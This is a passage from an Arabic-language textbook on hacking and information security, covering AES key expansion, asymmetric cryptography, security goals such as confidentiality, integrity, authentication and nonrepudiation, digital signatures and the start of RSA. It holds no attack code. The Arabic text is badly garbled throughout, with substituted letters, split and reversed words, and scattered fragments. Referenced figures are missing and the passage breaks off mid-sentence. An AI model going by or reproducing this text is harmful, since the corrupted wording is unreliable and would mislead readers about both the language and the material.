‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[327]
َ‫ن‬‫ق‬
‫التي‬ ‫طوات‬ُ‫خل‬‫ا‬ ‫تكرار‬‫ب‬ ‫قوم‬
‫متت‬
‫ال‬ ‫يف‬ ‫مود‬َ‫ع‬ ‫أول‬ ‫تكوين‬ ‫ند‬‫ع‬
Round Key 1
،
‫تتذكرذا؟‬ ‫ذل‬

‫ال‬ ‫كانت‬ ‫ططوة‬ ‫أول‬
RotWord
‫وذي‬
‫ال‬ ‫نقل‬
Byte
‫أسفل‬ ‫لىل‬ ‫األعىل‬
.

‫ال‬ ‫كانت‬ ‫والثانية‬
SubRows
‫ال‬ ‫باستخدام‬
S-box
.

‫ال‬ ‫عملية‬ ‫ذي‬ ‫والثالثة‬
XOR
‫ال‬ ‫و‬ ‫العمود‬ ‫ذذا‬ ‫بني‬
Rcon
‫وال‬
Wi-4
.
‫تظه‬
‫اخلطوة‬ ‫ر‬
"
‫الثالث‬
‫ة‬
"
‫الشكل‬ ‫يف‬
..‫التايل‬
(Figure 9)
..
‫وِب‬
‫ا‬
‫ال‬ ‫يف‬ ‫عمود‬ ‫أول‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬
(Round Key 2)
.
Figure 9
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[328]
:‫جيد‬ ‫بأسلوب‬ ‫اخلطوات‬ ‫ذذه‬ ‫توضح‬ ‫التي‬ ‫الصور‬ ‫بعض‬ ً‫ا‬‫أيض‬ ‫وذذه‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[329]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[330]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[331]
Source: http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html
‫ال‬ ‫ذذا‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫قد‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬
Cryptosystem
.
‫سننتقل‬
‫ال‬ ‫عامل‬ ‫لىل‬
Asymmetric Cryptography
،
..‫بنا‬ ‫ذيا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[332]
Asymmetric Cryptography
ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
“Public Key Cryptography”
،
‫ونعن‬
‫ه‬‫ب‬ ‫ي‬
:
"
‫باستخدام‬ ‫يانات‬َ‫ب‬‫ال‬ ‫َشفري‬‫ت‬
‫مفتاحني‬
‫التشفري‬ ‫وقك‬ ‫للتشفري‬ ‫واحد‬ ‫فتاح‬‫م‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ ‫شخص‬ ‫ُل‬‫ك‬‫ل‬
"
!
.
‫ال‬ ‫ستقوم‬
Algorithm
‫باستخدام‬ ‫نا‬ُ‫ذ‬
2 Keys
‫شرتكني‬ُ‫مل‬‫ا‬ ‫الطرقني‬ ‫كال‬‫ل‬
‫األول‬ ‫املفتاح‬ ،‫االتصال‬ ‫قناة‬ ‫يف‬
(Public Key)
‫ستخدم‬ُ‫ي‬
‫والثاين‬ ،‫اآلطر‬ ‫للطرف‬ ‫لرساهلا‬ ‫بل‬َ‫ق‬ ‫البيانات‬ ‫تشفري‬ ‫عملية‬ ‫يف‬
(Private Key)
‫لع‬ ‫ستخدم‬ُ‫ي‬
‫ا‬ ‫تشفري‬ ‫قك‬ ‫ملية‬
‫لبيانات‬
.‫اآلطر‬ ‫الطرف‬ ‫من‬ ‫القادمة‬
‫أك‬ ‫الصورة‬ ‫نوضح‬‫ل‬
‫ثر‬
..
‫م‬ُ‫ذ‬
‫احلقيق‬ ‫يف‬
‫ة‬
‫مفاتيح‬ ‫أربعة‬
..
:‫طرف‬ ‫لكل‬ ‫مفتاحني‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[333]
‫ق‬
‫بعمل‬ ‫سيقوم‬ ‫منا‬ ‫كل‬
Generate
‫ل‬
Public and Private Keys
،
‫ال‬ ‫يل‬ ‫ل‬‫س‬ ُ
‫سري‬
Receiver
‫ال‬
Public Key
‫اخلاص‬
.ُ‫ه‬‫ل‬ ‫لرساهلا‬ ‫أريد‬ ‫التي‬ ‫البيانات‬ ‫بتشفري‬ ‫أنا‬ ‫ألقوم‬ ‫به‬
‫ال‬ ‫له‬ ‫سأرسل‬ ً‫ا‬‫أيض‬ ‫وأنا‬
Public Key
‫بال‬ ‫منا‬ ‫كل‬ ‫وحيتفظ‬ ،‫يب‬ ‫اخلاص‬
Private Key
‫ألننا‬ ،!‫لنفسه‬ ‫به‬ ‫اخلاص‬
‫سنستخدمهم‬
.‫التشفري‬ ‫قك‬ ‫يف‬
‫لل‬ ‫ِّن‬‫ك‬ُ‫مت‬ ،‫فتاحني‬‫امل‬ ‫بني‬ ‫رياضية‬ ‫القة‬َ‫ع‬ ‫وجود‬ ‫ب‬َ‫ب‬‫س‬‫ب‬ ‫ذذا‬
Private key
‫بال‬ ‫شفرة‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫قك‬ ‫ن‬‫م‬
public key
.
:‫التفصيل‬ ‫من‬ ‫بيشء‬ ‫العملية‬ ‫ذذه‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫ذذا‬
‫الطرف‬ ‫أن‬ ‫يظهر‬
B
‫بعمل‬ ‫يقوم‬
generate
‫لل‬
key pair
‫ال‬ ‫ل‬‫رس‬ُ‫ي‬ ‫م‬ُ‫ث‬ ،
public key
‫اخلاص‬
‫للطرف‬ ‫ه‬‫ب‬
A
،
‫يقوم‬ ‫كي‬
A
‫ب‬
‫ل‬ ‫استخدامه‬
.‫له‬ ‫ولرساهلا‬ ‫الرسالة‬ ‫تشفري‬
‫جيد‬ ‫ذذا‬
!
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[334]
ً‫ال‬‫سؤا‬ ‫عليك‬ ‫أطرح‬ ‫دعني‬
‫منطقي‬
ً‫ا‬
‫ت‬ ‫أن‬ ‫بعد‬
!‫ذذه‬ ‫التشفري‬ ‫تكنولوجيا‬ ‫يف‬ ‫عمقنا‬
.
‫ال‬ ‫لنا‬ ‫قدمها‬ُ‫ي‬ ‫التي‬ ‫اخلدمة‬ ‫ماذي‬ ‫أو‬ ‫األساس؟‬ ‫من‬ ‫التشفري‬ ‫من‬ ‫اهلدف‬ ‫ماذو‬
Cryptography
‫؟‬..
!ً‫ال‬‫قع‬ ‫مهم‬ ‫سؤال‬ ‫لنه‬
.
‫الت‬ ‫ذذه‬
:‫نا‬َ‫ل‬ ‫ققها‬َ ُ
‫حت‬ ‫أذداف‬ ‫أربعة‬ ‫أذم‬ ‫لك‬ ‫سأذكر‬ ،‫عديدة‬ ‫قوائد‬ ‫لنا‬ ‫تقدم‬ ‫كنولوجيا‬
Confidentiality
‫ال‬ ‫أن‬ ‫و‬ ،‫أكثر‬ ‫أو‬ ‫شخصني‬ ‫بني‬ ‫التواصل‬ ‫أثناء‬ ‫الُسية‬ ‫تضمن‬ ‫التي‬ ‫وذي‬ ،‫املوثوقية‬ ‫تعني‬
Data
‫ستكون‬ ‫بينهم‬ ‫تنتقل‬ ‫التي‬
.‫الُسية‬ ‫وحمفوظة‬ ،‫اخلارجي‬ ‫املحيط‬ ‫عن‬ ‫معزولة‬
‫ذلك‬ ‫عىل‬ ‫مثال‬
"
‫الشهاد‬
‫املدرسية‬ ‫ات‬
"
‫واخلرجيني‬ ‫الطالب‬ ‫درجات‬ ‫كشف‬ ‫أو‬
.
‫ذذه‬ ‫أن‬ ‫اجلامعة‬ ‫أو‬ ‫املعهد‬ ‫يضمن‬ ‫حيث‬
.!‫اجلديد‬ ‫دراسته‬ ‫أو‬ ‫عمله‬ ‫وحمل‬ ،‫أمره‬ ‫وأولياء‬ ،‫نفسه‬ ‫الطالب‬ ‫لال‬ ‫عليها‬ ‫ع‬‫ل‬ّ‫ط‬َ‫ي‬ ‫ال‬ ‫البيانات‬
‫ناك‬ُ‫قه‬ ‫وبالتايل‬
Proof
‫أن‬ ‫ب‬ َ
‫جي‬
‫نسخ‬ ‫يريد‬ ‫الذي‬ ‫الشخص‬ ‫أو‬ ‫اجلهة‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫م‬‫قد‬ُ‫ي‬
‫ة‬
‫امللفات‬ ‫ذذه‬ ‫من‬
.!
‫ماييل‬
‫تعريف‬
‫ُمترص‬
‫هلا‬
:
Is the protection of transmitted data from “Passive Attacks”
‫؟‬..“Passive Attacks” ‫ال‬ ‫ماذذا‬
‫ال‬ ‫عىل‬ ‫اإلطالع‬ ‫عملية‬ ‫لهنا‬
Data
.‫طرقني‬ ‫بني‬ ‫انتقاهلا‬ ‫يتم‬ ‫التي‬
:‫التايل‬ ‫الشكل‬ ‫املفهوم‬ ‫ذذا‬ ‫لخص‬ُ‫ي‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[335]
Integrity
‫ِبا‬ ‫نعني‬
"
‫س‬
‫البيانات‬ ‫المة‬
"
،
‫أو‬
‫ما‬
‫ييل‬
:
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.
‫ال‬ ‫ماذذا‬
“Replay”
‫ال‬ ‫من‬ ‫نوع‬ ‫لنه‬
Attacks
‫ال‬ ‫حتت‬ ‫صنف‬ُ‫مل‬‫ا‬
Active Attacks
،
‫قهو‬
Active
‫ال‬ ‫ألن‬
Attacker
‫عىل‬ ‫تعديل‬ ‫بعمل‬ ‫سيقوم‬
‫ال‬ ‫ذذه‬
data
.!‫أطرى‬ ً‫ة‬‫مر‬ ‫لرساهلا‬ ‫عيد‬ُ‫ي‬‫و‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[336]
Authentication
.!‫يشء‬ ‫أي‬ ‫أو‬ ‫األجهزة‬ ‫أو‬ ‫األشخاص‬ ‫ذوية‬ ‫من‬ ‫التحقق‬ ‫عملية‬ ‫ببساطة‬ ‫ذذه‬
‫ماييل‬
:‫العملية‬ ‫هلذه‬ ‫مثال‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[337]
‫ال‬ ‫أن‬ ‫الحظ‬
Server
‫منه‬ ‫يطلب‬ ‫ربام‬ ،‫بعينه‬ ‫يشء‬ ‫منه‬ ‫طلب‬ ،‫ذويته‬ ‫ثبت‬ُ‫ي‬ ‫أن‬ ‫بوب‬ ‫السيد‬ ‫من‬ ‫طلب‬ ‫عندما‬
Password
‫لث‬ ‫من‬ ‫كنوع‬ ً‫ا‬‫أيض‬
،‫اهلوية‬ ‫بات‬
‫ق‬
‫ال‬ ‫ذذا‬ ‫أن‬ ‫بعينه‬ ‫يشء‬ ‫منه‬ ‫يطلب‬ ‫أنه‬ ‫معنى‬
Server
‫عالقة‬ ‫بتطبيق‬ ‫سيقوم‬
“Compare”
..
‫حمدد‬ ‫قيمة‬ ‫بمقارنة‬ ‫سيقوم‬
‫ة‬
‫ال‬ ‫ذذا‬ ُ‫ه‬‫ل‬‫دط‬ُ‫ي‬‫س‬ ‫بام‬ ‫عنده‬
user
،
‫ال‬ ‫عطيه‬ُ‫ي‬‫س‬ ،‫تطابقا‬ ‫قإن‬
access
.
‫عن‬ ‫ختتلف‬ ‫لهنا‬
‫ال‬
“Identification”
.!
:‫اآليت‬ ‫تعني‬ ‫ذذه‬ ‫قالثانية‬
‫بإدطال‬ ‫تقوم‬ ‫عندما‬
‫ث‬ُ‫حيد‬ ‫أن‬ ‫لىل‬ ‫لديه‬ ‫التي‬ ‫األسامء‬ ‫بكل‬ ‫اإلسم‬ ‫ذذا‬ ‫بمقارنة‬ ‫ذو‬ ‫قيقوم‬ ،ً‫ال‬‫مث‬ ‫لسمك‬
match
ً‫ا‬‫لذ‬ ‫لهنا‬ ،
‫نوع‬ ‫من‬ ‫عالقة‬
“One-to-Many”
‫ال‬ ‫بعملية‬ ‫أشبه‬ ‫ذذا‬ .
Search
.
‫ال‬ ‫بينام‬
Authentication
‫عالقة‬ ‫ُعترب‬‫ت‬
“One-to-One”
.
:‫بمعنى‬
(Compare only, No search.!)
..
‫ن‬ ‫التالية‬ ‫الصفحة‬ ‫يف‬
‫ع‬
‫رض‬
‫بعض‬
‫أشكال‬
‫ال‬
Authentication
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[338]
Nonrepudiation
provides assurance to the recipient that the message was actually originated by
the sender and not someone masquerading as the sender. It prevents the sender from claiming
that they never sent the message in the first place
“it prevents ether sender or receiver from denying a transmitted message”
‫ال‬ ‫ماذذا‬
Masquerading
‫؟‬..
‫ال‬ ‫أنواع‬ ‫من‬ ‫نوع‬ ‫لنه‬
Active Attacks
‫ال‬ ‫قيه‬ ‫يقوم‬ ‫الذي‬
Attacker
‫ب‬
‫انتحال‬
‫ال‬ ‫ولسال‬ ‫أحدذم‬ ‫شخصية‬
Data
ُ‫ه‬‫وكأن‬
‫ذو‬
‫ذلك‬
.‫الشخص‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[339]
‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ذذا‬
:Masquerading Attack
‫اخلاصية‬ ‫ذذه‬
-
Nonrepudiation
-
‫ال‬ ‫لنا‬ ‫رذا‬ِّ‫ق‬‫و‬ُ‫ي‬ ‫ال‬
Symmetric Cryptography
.
‫ال‬ ‫ذذا‬ ‫يمتلك‬ ‫شخص‬ ‫أي‬ ‫ببساطة‬ ‫ألنه‬
Shared Secret Key
.!‫يل‬ ‫ولرساهلا‬ ‫الرسالة‬ ‫تشفري‬ ‫من‬ ‫سيتمكن‬
Because any communicating party can encrypt and decrypt messages with the shared secret key,
there is no way to tell where a given message originated.
‫ال‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫لنعود‬ ‫ذيا‬..‫واآلن‬
Asymmetric Cryptography
.
‫ال‬ ‫عن‬ ‫نتكلم‬ ‫كنا‬
Asymmetric Cryptosystem
..
‫و‬
‫ب‬
‫عىل‬ ‫عرضه‬
‫املفاذيم‬
‫عرقناذا‬ ‫التي‬ ‫اجلديدة‬
‫اآلن‬
،
ُ
‫حي‬ ‫أنه‬ ‫ُالحظ‬‫ن‬
‫ماييل‬ ‫لنا‬ ‫قق‬
:
Confidentiality, integrity, and Nonrepudiation
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[340]
‫ال‬ ‫باستخدام‬ ‫اخلصائص‬ ‫ذذه‬ ‫حتقيق‬ ‫به‬ ‫نوضح‬ ‫آطر‬ ‫مثال‬ ‫سنأطذ‬
Asymmetric Keys
.
‫ططوة‬ ‫بإضاقة‬ ‫املثال‬ ‫ذذا‬ ‫يف‬ ‫منا‬ُ‫ق‬
‫أو‬ ‫التشفري‬ ‫عملية‬ ‫أن‬ ‫وذي‬ ‫جديدة‬
‫قك‬
‫التشفري‬
‫مرحلة‬ ‫من‬ ً‫ال‬‫بد‬ ‫مرحلتني‬ ‫عىل‬ ‫ستكون‬
‫سيقوم‬ .!‫واحدة‬
A
‫الرس‬ ‫بتشفري‬
‫ال‬ ‫استخدام‬ ً‫ال‬‫أو‬ ‫الة‬
private key
‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫رذا‬ِّ‫ف‬‫ش‬ُ‫ي‬ ‫ثم‬ ،‫به‬ ‫اخلاص‬
public key
‫م‬‫باملستخد‬ ‫اخلاص‬
B
.
‫ال‬ ‫طدمة‬ ‫توقري‬ ‫يف‬ ‫األوىل‬ ‫التشفري‬ ‫عملية‬ ‫قائدة‬ ‫ن‬ُ‫تكم‬
Nonrepudiation
‫ألن‬ ،
A
‫يمتلك‬ ‫الذي‬ ‫الوحيد‬ ‫الشخص‬ ‫ذو‬
‫ال‬
private key
‫قلن‬ ،‫التشفري‬ ‫عملية‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬
‫تشفري‬ ‫من‬ ‫غريه‬ ‫أحد‬ ‫يتمكن‬
‫من‬ ‫قادمة‬ ‫أهنا‬ ‫وادعاء‬ ‫الرسالة‬
A
‫من‬ ‫قادمه‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫عىل‬ ‫تأكيد‬ ‫وذذا‬ .
A
‫و‬ ،
A
،!‫ققط‬
‫أحد‬ ‫توضيح‬ ‫لىل‬ ‫نا‬ ُّ‫ر‬ُ‫جي‬ ‫ذذا‬
‫ال‬ ‫تطبيقات‬
Public Key Cryptosystems
‫ال‬ ‫وذو‬
“Digital Signature”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[341]
‫ال‬ ‫ماذذا‬
Digital Signature
‫؟‬..
‫ب‬ ‫ساب‬‫ح‬ ‫تح‬َ‫ف‬‫ل‬ ‫َذذب‬‫ت‬ ‫ندما‬‫ع‬
‫بالتوقيع‬ ‫طاص‬ ‫مستند‬ ‫منها‬‫ض‬ ‫من‬ ‫املستندات‬ ‫من‬ ‫جمموعة‬ ‫املوظف‬ ‫لك‬ ‫م‬ِّ‫قد‬ُ‫ي‬ ،‫البنوك‬ ‫أحد‬
.‫لدهيم‬ ‫ملفك‬ ‫يف‬ ‫فظه‬‫ح‬ ‫م‬‫ت‬َ‫ي‬ ‫َد‬‫ن‬‫ست‬ُ‫مل‬‫ا‬ ‫ذذا‬ ،‫الشخيص‬ ‫العميل‬ ‫لمضاء‬ ‫أو‬
‫ل‬ ‫أردت‬ ‫وقكلام‬
‫حسابك‬ ‫عىل‬ ‫تعديالت‬ ‫أي‬ ‫جراء‬
‫البنك‬ ‫لىل‬ ‫ولرساله‬ ‫طلبك‬ ‫عىل‬ ‫باإلمضاء‬ ‫تقوم‬ ‫البالد‬ ‫طارج‬ ‫وأنت‬
‫كإجراء‬ ‫بالفاكس‬
‫لجراءات‬ ‫عدة‬ ‫ضمن‬
‫املوظف‬ ‫قيقوم‬ ،
‫اإل‬ ‫ذذا‬ ‫قارنة‬ُ‫مل‬ ‫ملفك‬ ‫بفتح‬
‫مضاء‬
‫ب‬
!‫بامللف‬ ‫الذي‬ ‫ذلك‬
.
‫ذذا‬
‫األمر‬
‫ي‬
‫مفهوم‬ ‫مع‬ ‫تشابه‬
digital signature
‫جمرد‬ ‫كوهنا‬ ‫عىل‬ ‫تقترص‬ ‫ال‬ ‫وظيفتها‬ ‫لكن‬ ،ً‫ا‬‫للكرتوني‬ ‫ُستخدم‬‫ت‬ ‫األطرية‬ ‫أن‬ ‫غري‬
:ً‫ا‬‫أيض‬ ‫أطرى‬ ‫طدمات‬ ‫لنا‬ ‫م‬ِّ‫ُقد‬‫ت‬ ‫قهي‬ ،!‫لمضاء‬
Digital signatures can provide the added assurances of evidence to origin, identity and status of
an electronic document, transaction or message, as well as acknowledging informed consent by
the signer.
..‫قيامبعد‬ ‫التفصيل‬ ‫من‬ ‫بيشء‬ ‫لليها‬ ‫سنأيت‬
‫بينام‬
‫سنذذب‬
‫اآلن‬
‫ت‬ ُ
‫ُم‬ ‫جولة‬ ‫يف‬
‫ال‬ ‫أحد‬ ‫داطل‬ ‫ة‬َ‫ع‬
“Public Key Cryptosystems”
‫د‬ِّ‫ي‬‫الس‬ ‫وذو‬
“RSA”
.‫م‬َ َ
‫حرت‬ُ‫مل‬‫ا‬
RSA
‫ال‬ ‫ملعهد‬ ‫ينتمون‬ ‫وذم‬ ‫النظام‬ ‫ذذا‬ ‫بابتكار‬ ‫قامو‬ ‫الذين‬ ‫الثالثة‬ ‫لىل‬ ‫تسميته‬ ‫ُشري‬‫ت‬
MIT
.
Ron Rivest, Adi Shamir, and Leonard Adleman at MIT
‫هلم‬ ً‫ا‬‫شكر‬

.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[342]
:‫النظام‬ ‫ذذا‬ ‫شكل‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫ل‬
‫السيد‬ ‫ريد‬ُ‫ي‬
Bob
‫لىل‬ ‫رسالة‬ ‫لرسال‬
Alice
‫ال‬ ‫قيستخدم‬ ،
Public Key
،‫لذلك‬ ‫ِبا‬ ‫اخلاص‬
‫الشفرة‬ ‫بفك‬ ‫ذي‬ ‫قتقوم‬
‫ال‬ ‫باستخدام‬
Private Key
.‫ِبا‬ ‫اخلاص‬
‫ال‬ ‫من‬ ٍ
‫أي‬ ‫أن‬ ‫لك‬ ‫أوضح‬ ‫أن‬ ‫حب‬ُ‫أ‬ ً‫ا‬‫أيض‬
Keys
‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬ ُ‫ه‬‫استخدام‬ ‫مكن‬ُ‫ي‬
Encryption
،
‫ال‬ ‫ستخدم‬ُ‫ي‬‫و‬
Key
‫اآلطر‬
‫ال‬ ‫عملية‬ ‫يف‬
Decryption
.
‫ال‬ ‫باستخدام‬ ‫للتشفري‬ ‫ثال‬‫امل‬ ‫ذذا‬ َ‫كان‬
Public Key
‫بال‬ ‫التشفري‬ ‫ك‬َ‫ق‬‫و‬
Private Key
.
‫س‬
‫د‬‫ُشاذ‬‫ن‬
َ‫ي‬ ‫آطر‬ ‫ثال‬‫م‬
‫ب‬ ‫قوم‬
َ‫ع‬
‫س‬‫ك‬
‫عملية‬
‫ال‬ ‫استخدام‬
Keys
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[343]
‫السيد‬ ‫ذنا‬ ‫يظهر‬
Bob
‫بال‬ ‫رسالته‬ ‫ر‬ِّ‫ف‬‫ش‬ُ‫ي‬ ‫وذو‬
Private Key
‫تقوم‬ ‫م‬ُ‫ث‬ ،‫ذو‬ ‫به‬ ‫اخلاص‬
Alice
‫ال‬ ‫باستخدام‬ ‫الشفرة‬ ‫ك‬َ‫ف‬‫ب‬
Public Key
.ً‫ا‬‫أيض‬ ‫به‬ ‫اخلاص‬
‫ذيا‬
‫لنتعمق‬
‫ال‬ ‫داطل‬
RSA Algorithm
..!
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[344]
RSA Algorithm
‫ال‬ ‫ذذه‬ ‫برشح‬ ‫سنقوم‬
Algorithm
:‫ططوات‬ ‫ة‬ّ‫د‬‫ع‬ ‫عىل‬
‫و‬ ،‫تلفني‬ ُ
‫ُم‬ ،‫كبريين‬ ،‫عشوائيني‬ ‫عددين‬ ‫اطتيار‬ ‫ذي‬ ‫ططوة‬ ‫أول‬
"
ِّ
‫أوليني‬
"
.
:‫ب‬ ‫هلم‬ ‫ز‬ُ‫م‬‫نر‬ َ
‫س‬
p
‫و‬
q
.
Choose two large prime numbers (approximately 200 digits each), labeled p and q
‫ال‬ ‫ذذا‬ ‫ما‬
Prime Number
‫؟‬..
‫ي‬ ‫ذذا‬
‫القصة‬ ‫ذذه‬ ‫لك‬ ‫ألحكي‬ ‫دقعني‬
:
ُ‫ه‬‫اسم‬ ‫قيلم‬ ‫أشاذد‬ ‫ُنت‬‫ك‬
“A brilliant young mind”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[345]
‫فل‬‫ط‬ ‫صة‬‫ق‬ ‫كي‬ َ
‫حي‬
،!‫ة‬َ‫تاز‬ ُ
‫ُم‬ ‫رياضية‬ ‫عقلية‬ ‫يمتلك‬
‫يف‬ ‫دولية‬ ٍ
‫سابقات‬ُ‫م‬ ‫ض‬‫و‬‫خل‬ ‫وتأذيله‬ ،‫ه‬‫ب‬ ‫باإلذتامم‬ ُ‫ه‬‫م‬ُ‫أ‬ ‫بدأت‬ ‫وكيف‬
‫جمال‬
..‫الرياضيات‬
..‫هم‬ُ‫مل‬‫ا‬
‫الوجبة‬ ‫يدة‬‫الس‬ ‫ت‬َ‫ب‬‫ل‬َ‫ط‬َ‫ق‬ ،‫أرقام‬‫ب‬ ‫بات‬ َ‫ج‬َ‫الو‬ ‫ي‬ّ‫سم‬ُ‫ي‬ َ‫َان‬‫ك‬ ‫م‬َ‫ع‬‫ط‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫أن‬ ‫ويبدو‬ ،‫الغداء‬ ‫وجبة‬ ‫له‬ ‫لتشرتي‬ ُ‫ه‬‫أم‬ ‫ذذبت‬ ‫يوم‬ ‫ذات‬
‫رقم‬
"
47
"
‫رقم‬ ‫وذو‬
‫أويل‬
،!
‫الوج‬ ‫ذذه‬ ‫بداطل‬ ‫القطع‬ ‫عدد‬ ‫عىل‬ ‫تعديل‬ ‫لجراء‬ ‫أرادت‬ ‫لكنها‬
‫ب‬
‫ة‬
‫عددذا‬ ‫لتكون‬
"
ً‫ا‬‫أولي‬
"
.!ً‫ا‬‫أيض‬
‫رقم‬ ‫الوجبة‬ ‫تأطذ‬ ‫أن‬ ‫هلا‬ ‫األقضل‬ ‫من‬ ‫أنه‬ ‫الكاشري‬ ‫هلا‬ ‫ققال‬
“48”
،‫املطلوب‬ ‫عىل‬ ‫الحتوائها‬
‫له‬ ‫وقالت‬ ً‫ال‬‫قلي‬ ‫السيدة‬ ‫قرتددت‬
:
"
‫لن‬ ‫لنه‬ ..‫اليشء‬ ‫بعض‬ ‫غريبة‬ ‫طباع‬ ‫لديه‬ ‫قولدي‬ ‫اعذرين‬
!‫األولية‬ ‫األرقام‬ ‫لال‬ ‫ل‬َ‫ب‬‫ق‬َ‫ي‬
"
،
‫األولية‬ ‫األرقام‬ ‫ل‬َ‫دو‬ َ‫ج‬ ‫أطرجت‬ ‫م‬ُ‫ث‬
‫الرقم‬ ‫ذل‬ ‫لتتأكد‬ ‫نطتها‬ َ
‫ش‬ ‫ن‬‫م‬
48
..‫ال‬ ‫م‬َ‫أ‬ ً‫ا‬‫أولي‬
‫أول‬ ‫ليس‬ ‫أنه‬ ‫ُريه‬‫ت‬ ‫أن‬ ‫أرادت‬ ‫ثم‬
،‫باألسفل‬ ‫الصورة‬ ‫يف‬ ‫يبدو‬ ‫كام‬ ً‫ا‬‫ي‬
‫اإل‬ ‫مالمح‬ ‫الكاشري‬ ‫عىل‬ ‫قارتسمت‬
‫ندذا‬
‫يظهر‬ ‫كام‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[346]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[347]
‫الرقم‬ ‫أسفل‬ ‫تقع‬ ‫التي‬ ‫األولية‬ ‫األعداد‬ ‫يوضح‬ ‫السابق‬ ‫اجلدول‬
“2000”
.
..!‫السؤال‬ ‫عىل‬ ‫ب‬‫ُج‬‫ن‬ ‫مل‬ ‫ولكن‬
‫بي‬ ‫قيام‬ ‫أوليني‬ ‫العددين‬ ‫يكون‬ ‫كيف‬
‫بينهم؟‬ ‫قيام‬ ‫أوليان‬ ‫العددان‬ ‫ذذان‬ ‫أن‬ ‫ُم‬‫ك‬‫نح‬ ‫كيف‬ ‫أو‬ ،‫األساس؟‬ ‫من‬ ‫نهام‬
‫ذو‬ ‫ذذا‬ ..ً‫ا‬‫حسن‬
‫التعريف‬
:ً‫ال‬‫أو‬
‫يف‬
‫صحيحان‬ ‫عددان‬ ‫يكون‬ ،‫األعداد‬ ‫نظرية‬
‫بينهام‬ ‫قيام‬ ‫أوليني‬
:(Coprime integers)
‫يكون‬ ‫عندما‬
‫األكرب‬ ‫املشرتك‬ ‫القاسم‬
Greatest Common Divisor (GCD)
‫لجيا‬ ‫يمكن‬ ‫والذي‬ ‫بينهام‬
‫باستعامل‬ ‫ده‬
‫للعدد‬ ً‫ا‬‫مساوي‬ ،‫اقليدس‬ ‫طوارزمية‬
.(1)
‫األكرب؟‬ ‫شرتك‬ُ‫مل‬‫ا‬ ‫القاسم‬ ‫ذذا‬ ‫وما‬
ُ‫ه‬‫لن‬
‫دد‬َ‫ع‬ ‫أكرب‬
‫م‬‫س‬‫ق‬َ‫ي‬
‫أي‬ ‫بدون‬ ً‫ا‬‫ع‬َ‫م‬ ‫العددين‬ ‫الوقت‬ ‫َفس‬‫ن‬ ‫يف‬
‫باقي‬
